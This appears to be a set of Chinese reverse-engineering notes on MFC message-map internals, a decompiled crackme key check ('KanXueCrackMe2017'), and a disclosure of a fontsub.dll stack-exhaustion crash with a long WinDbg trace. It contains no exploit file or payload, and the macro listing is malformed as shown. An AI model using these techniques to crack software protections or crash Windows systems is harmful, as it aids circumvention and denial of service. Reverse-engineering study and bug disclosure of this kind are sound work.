CWnd::IsDialogMessageA -> USER32内核 - > AfxWndProcBase -> AfxWndProc -> 
AfxCallWndProc -> CWnd::WindowProc -> CWnd::OnWndMsg -> CWnd::OnCommand -> 
CDialog::OnCmdMsg -> CCmdTarget::OnCmdMsg -> _AfxDispatchCmdMsg -> 
CD1Dlg::OnButton1()

BEGIN_MESSAGE_MAP(CtestDlg, CDialog)
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
	ON_WM_QUERYDRAGICON()
	ON_BN_CLICKED(IDOK, &CtestDlg::OnBnClickedOk)
END_MESSAGE_MAP()

1)Windows将用户程序装入内存
2)构造全局对象theApp,在程序被装入时,所有全局对象都会立刻被创建。
3)Windows调用全局函数WinMain,它是类库的惟一实例
4)WinMain里面只调用函数AfxWinMain
5)AfxWinMain执行AfxWininit,调用AfxinitThred,接着
6)AfxWinMain执行InitApplication,然后执行Initinstance,Initinstance是CWinApp的虚函数,在此改写。
7)InitInstance函数里面启动文档的装入以及主要框架和视图显示处理过程。
8)在这里new 一个CMyFrameWnd ,CMyFrameWnd构造函数调用Create产生主窗口
9)InitInstance 执行ShowWindow,UpdateWindow,发出WM_PAINT
10)WinMain调用theApp的Run函数,它启动窗口消息和命令消息的传递处理过程。
11)单击file/close,则发出WM_CLOSE
12)CMainFrame交默认处理
13)调用::DestroyWindow发出WM_DESTROY
14)默认处理调用::postQuitMessage 发出WM_QUIT
15)CWinapp::Run收到WM_QUIT结束内部循环,调用ExitInsance(若CCExcmpleApp改写 Exitinstance,则调用CCExcmpleApp::ExitInstance;
16)ExitInstance函数负责完成应用程序结束之前的清除工作。
17)ExitInstance函数返回时,Run函数也返回了,MFC完成了一些清除工作,Windows终止应用程序
18)回到AfxWinMain,执行AfxWinTerm,程序结束!!

#define DECLARE_MESSAGE_MAP()   
protected:  
    static const AFX_MSGMAP* PASCAL GetThisMessageMap(); // 获得当前类和基类的映射信息  
    virtual const AFX_MSGMAP* GetMessageMap() const;     // 实际上调用了上一个函数

#define BEGIN_MESSAGE_MAP(theClass, baseClass)              // 消息映射开始  
     PTM_WARNING_DISABLE                                   // pragma宏的处理,无关系  
     const AFX_MSGMAP* theClass::GetMessageMap() const     // 获得自身和基类的函数映射表   
     { return GetThisMessageMap(); }                        // 入口地址  
     const AFX_MSGMAP* PASCAL theClass::GetThisMessageMap() // 获得自身函数映射表入口地址  
     {  
        typedef theClass ThisClass;                         // 当前类  
    typedef baseClass TheBaseClass;                     // 基类  
    static const AFX_MSGMAP_ENTRY _messageEntries[] =    // 当前类信息实体数组,记录了  
    {                                                     // 该类所有的消息实体  
        // 该行之所以空出来,是因为所有的消息都要写在这里  
#define END_MESSAGE_MAP() /                                   // 映射消息的结束,也是消息实  
        {0, 0, 0, 0, AfxSig_end, (AFX_PMSG)0 }      // 体的最后一个元素,标志结束  
    }; 
    static const AFX_MSGMAP messageMap =                 // 消息映射变量(包含基类)  
    { &TheBaseClass::GetThisMessageMap, &_messageEntries[0] };  
       return &messageMap;                                  // 返回消息变量   
     } 
     PTM_WARNING_RESTORE                                  // pragma宏的处理,无关系
mov     eax, [edi]
mov     ecx, edi
call    dword ptr [eax+0ACh] ; pApp->InitApplication

对应的类操作

CWinApp *pApp = AfxGetApp();
// App global initializations (rare)
pApp->InitApplication()

类中的数据布局

+———————————————+
|vptr虚表指针    |
|基类成员		 |
|类成员	      |
+———————————————+

CWinApp.InitInstance

​ | —> dlg = new CAppDialog() => 含有MessageMap

一般程序都会把初始化放到CXXXApp::InitInstance和CXXXApp::IInitApplication 这两个函数,而CXXXApp则继承了CWinApp,并在CXXXApp::InitInstance 中调用父类的CWinApp::InitInstance,在CXXXApp:: IInitApplication 中调用父类的CWinApp:: IInitApplication。所以逆向的一步,则是找到CWinApp::InitInstance和CWinApp:: IInitApplication这两个函数,然后通过交叉引用注释,查找到CXXXApp::InitInstance和CWinApp:: IInitApplication函数所在地址。

寻找GetMessageMap的方法:

找到AfxWinMain,在里面有AfxWinInit函数,函数的特征特别的明显

push    [ebp+nShowCmd]
mov     edi, [eax+4]    ; pApp 实例化的CWinApp
push    [ebp+lpCmdLine]
push    [ebp+hPrevInstance]
push    [ebp+hInstance]
call    AfxWinInit

test    eax, eax
jz      short loc_440ECD
test    edi, edi
jz      short loc_440EA3
mov     eax, [edi]  ; edi存放的是打开的控件的实例化指针,edi的值存放的是虚函数指针,即eax值
mov     ecx, edi
call    dword ptr [eax+0ACh] ; pApp->InitApplication

具体的GetMessageMap虚函数的位置,还不能确定。。。。

GetMessageMap虚函数返回的就是Afx_MSGMAP结构的地址

signed int __thiscall sub_406FC3(_DWORD *this)
{
  _DWORD *v1; // ebx
  _WORD *v2; // eax
  int v3; // esi
  int i; // ecx
  unsigned int v5; // kr00_4
  signed int result; // eax
  signed int j; // [esp+24h] [ebp-D9F8h]
  int v8; // [esp+28h] [ebp-D9F4h]
  char v9; // [esp+D9A8h] [ebp-74h]
  char v10; // [esp+D9D0h] [ebp-4Ch]
  __int16 v11; // [esp+D9E2h] [ebp-3Ah]
  char v12[28]; // [esp+D9E4h] [ebp-38h]
  CPPEH_RECORD ms_exc; // [esp+DA04h] [ebp-18h]

  v1 = this;
  sub_407307(&v8);
  strcpy(&v10, "KanXueCrackMe2017");
  v11 = 0;
  sub_4084A3(&v8, &v10);
  v2 = (_WORD *)v1[38];
  v3 = *((_DWORD *)v2 - 3);
  for ( i = 0; i < v3; ++v2 )
  {
    if ( i < 0 || i > v3 )
      sub_401540(-2147024809);
    v12[i++] = *v2;
  }
  v12[i] = 0;
  ms_exc.registration.TryLevel = 0;
  v5 = strlen(v12);
  for ( j = 0; j < 1000; ++j )
  {
    base64_encode_j((int)&v9, (int)v12, v5);
    memcpy_0(v12, &v9, v5);
  }
  if ( strcmp("Vm0wd2QyUXlVWGw==", &v9) )
    return 0;
  result = 1;
  ms_exc.registration.TryLevel = -2;
  return result;
}

Microsoft Font Subsetting DLL Stack Exhaustion at fontsub!GetComponentGlyphList

Microsoft Font Subsetting DLL Stack Exhaustion at fontsub!GetComponentGlyphList

DDoS 微软说目前不打算修,没准将来会修,那就贴出来吧

Please excuse my poor English. I'm not a native speaker. I will do my best to describe this bug.

I test this on sytem

windows 10 professional
v1903 x64 bit

fontsub background

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. I have tested CreateFontPackage with a fuzzer.

crash

when I use a specific ttf file with CreateFontPackage , it crashed

0:000> g
ModLoad: 00007ffb`a5190000 00007ffb`a51b2000   C:\WINDOWS\system32\fontsub.dll
ModLoad: 00007ffb`b44d0000 00007ffb`b456e000   C:\WINDOWS\System32\msvcrt.dll
(4dec.5240): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
fontsub!ReadWord+0x1c:
00007ffb`a51a953c e8cbfeffff      call    fontsub!CheckInOffset (00007ffb`a51a940c)

check stack call

0:000> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffb`a51a98fe : 00000000`00000358 00000000`00000000 00000000`00000000 00007ffb`a51a9541 : fontsub!ReadWord+0x1c
01 00007ffb`a519cf56 : 00000097`c7eff318 00000097`c7e04141 00000000`00000000 00000000`00000000 : fontsub!ReadGeneric+0x116
02 00007ffb`a519cfe3 : 00000000`00000000 00000097`c7e041e8 00000000`00000000 00000000`00000000 : fontsub!GetGlyphHeader+0x102
03 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04211 000001bb`fd5b2718 00000000`00000000 : fontsub!GetComponentGlyphList+0x77
04 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e042e1 000001bb`fd5b2716 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
05 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e043b1 000001bb`fd5b2714 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
06 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04481 000001bb`fd5b2712 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
07 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04551 000001bb`fd5b2710 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
08 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04621 000001bb`fd5b270e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
09 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e046f1 000001bb`fd5b270c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e047c1 000001bb`fd5b270a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04891 000001bb`fd5b2708 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04961 000001bb`fd5b2706 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04a31 000001bb`fd5b2704 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04b01 000001bb`fd5b2702 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
0f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04bd1 000001bb`fd5b2700 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
10 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04ca1 000001bb`fd5b26fe 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
11 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04d71 000001bb`fd5b26fc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
12 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04e41 000001bb`fd5b26fa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
13 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04f11 000001bb`fd5b26f8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
14 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e04fe1 000001bb`fd5b26f6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
15 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e050b1 000001bb`fd5b26f4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
16 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05181 000001bb`fd5b26f2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
17 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05251 000001bb`fd5b26f0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
18 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05321 000001bb`fd5b26ee 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
19 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e053f1 000001bb`fd5b26ec 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e054c1 000001bb`fd5b26ea 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05591 000001bb`fd5b26e8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05661 000001bb`fd5b26e6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05731 000001bb`fd5b26e4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05801 000001bb`fd5b26e2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
1f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e058d1 000001bb`fd5b26e0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
20 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e059a1 000001bb`fd5b26de 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
21 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05a71 000001bb`fd5b26dc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
22 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05b41 000001bb`fd5b26da 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
23 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05c11 000001bb`fd5b26d8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
24 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05ce1 000001bb`fd5b26d6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
25 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05db1 000001bb`fd5b26d4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
26 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05e81 000001bb`fd5b26d2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
27 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e05f51 000001bb`fd5b26d0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
28 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06021 000001bb`fd5b26ce 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
29 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e060f1 000001bb`fd5b26cc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e061c1 000001bb`fd5b26ca 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06291 000001bb`fd5b26c8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06361 000001bb`fd5b26c6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06431 000001bb`fd5b26c4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06501 000001bb`fd5b26c2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
2f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e065d1 000001bb`fd5b26c0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
30 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e066a1 000001bb`fd5b26be 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
31 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06771 000001bb`fd5b26bc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
32 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06841 000001bb`fd5b26ba 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
33 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06911 000001bb`fd5b26b8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
34 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e069e1 000001bb`fd5b26b6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
35 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06ab1 000001bb`fd5b26b4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
36 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06b81 000001bb`fd5b26b2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
37 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06c51 000001bb`fd5b26b0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
38 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06d21 000001bb`fd5b26ae 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
39 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06df1 000001bb`fd5b26ac 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06ec1 000001bb`fd5b26aa 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e06f91 000001bb`fd5b26a8 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07061 000001bb`fd5b26a6 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07131 000001bb`fd5b26a4 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07201 000001bb`fd5b26a2 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
3f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e072d1 000001bb`fd5b26a0 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
40 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e073a1 000001bb`fd5b269e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
41 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07471 000001bb`fd5b269c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
42 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07541 000001bb`fd5b269a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
43 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07611 000001bb`fd5b2698 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
44 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e076e1 000001bb`fd5b2696 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
45 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e077b1 000001bb`fd5b2694 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
46 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07881 000001bb`fd5b2692 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
47 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07951 000001bb`fd5b2690 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
48 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07a21 000001bb`fd5b268e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
49 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07af1 000001bb`fd5b268c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07bc1 000001bb`fd5b268a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07c91 000001bb`fd5b2688 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07d61 000001bb`fd5b2686 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07e31 000001bb`fd5b2684 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07f01 000001bb`fd5b2682 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
4f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e07fd1 000001bb`fd5b2680 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
50 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e080a1 000001bb`fd5b267e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
51 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08171 000001bb`fd5b267c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
52 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08241 000001bb`fd5b267a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
53 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08311 000001bb`fd5b2678 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
54 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e083e1 000001bb`fd5b2676 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
55 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e084b1 000001bb`fd5b2674 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
56 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08581 000001bb`fd5b2672 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
57 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08651 000001bb`fd5b2670 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
58 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08721 000001bb`fd5b266e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
59 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e087f1 000001bb`fd5b266c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e088c1 000001bb`fd5b266a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08991 000001bb`fd5b2668 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08a61 000001bb`fd5b2666 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08b31 000001bb`fd5b2664 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08c01 000001bb`fd5b2662 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
5f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08cd1 000001bb`fd5b2660 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
60 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08da1 000001bb`fd5b265e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
61 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08e71 000001bb`fd5b265c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
62 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e08f41 000001bb`fd5b265a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
63 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09011 000001bb`fd5b2658 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
64 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e090e1 000001bb`fd5b2656 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
65 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e091b1 000001bb`fd5b2654 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
66 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09281 000001bb`fd5b2652 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
67 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09351 000001bb`fd5b2650 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
68 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09421 000001bb`fd5b264e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
69 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e094f1 000001bb`fd5b264c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e095c1 000001bb`fd5b264a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09691 000001bb`fd5b2648 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09761 000001bb`fd5b2646 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09831 000001bb`fd5b2644 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09901 000001bb`fd5b2642 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
6f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e099d1 000001bb`fd5b2640 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
70 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09aa1 000001bb`fd5b263e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
71 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09b71 000001bb`fd5b263c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
72 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09c41 000001bb`fd5b263a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
73 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09d11 000001bb`fd5b2638 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
74 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09de1 000001bb`fd5b2636 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
75 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09eb1 000001bb`fd5b2634 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
76 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e09f81 000001bb`fd5b2632 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
77 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a051 000001bb`fd5b2630 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
78 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a121 000001bb`fd5b262e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
79 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a1f1 000001bb`fd5b262c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a2c1 000001bb`fd5b262a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a391 000001bb`fd5b2628 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a461 000001bb`fd5b2626 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a531 000001bb`fd5b2624 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a601 000001bb`fd5b2622 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
7f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a6d1 000001bb`fd5b2620 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
80 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a7a1 000001bb`fd5b261e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
81 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a871 000001bb`fd5b261c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
82 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0a941 000001bb`fd5b261a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
83 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aa11 000001bb`fd5b2618 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
84 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aae1 000001bb`fd5b2616 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
85 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0abb1 000001bb`fd5b2614 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
86 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ac81 000001bb`fd5b2612 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
87 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ad51 000001bb`fd5b2610 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
88 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0ae21 000001bb`fd5b260e 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
89 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0aef1 000001bb`fd5b260c 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8a 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0afc1 000001bb`fd5b260a 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8b 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b091 000001bb`fd5b2608 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8c 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b161 000001bb`fd5b2606 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8d 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b231 000001bb`fd5b2604 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8e 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b301 000001bb`fd5b2602 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
8f 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b3d1 000001bb`fd5b2600 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
90 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b4a1 000001bb`fd5b25fe 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
91 00007ffb`a519d0fa : 00000000`00000364 00000097`c7e0b571 000001bb`fd5b25fc 00000000`00000000 : fontsub!GetComponentGlyphList+0x18e
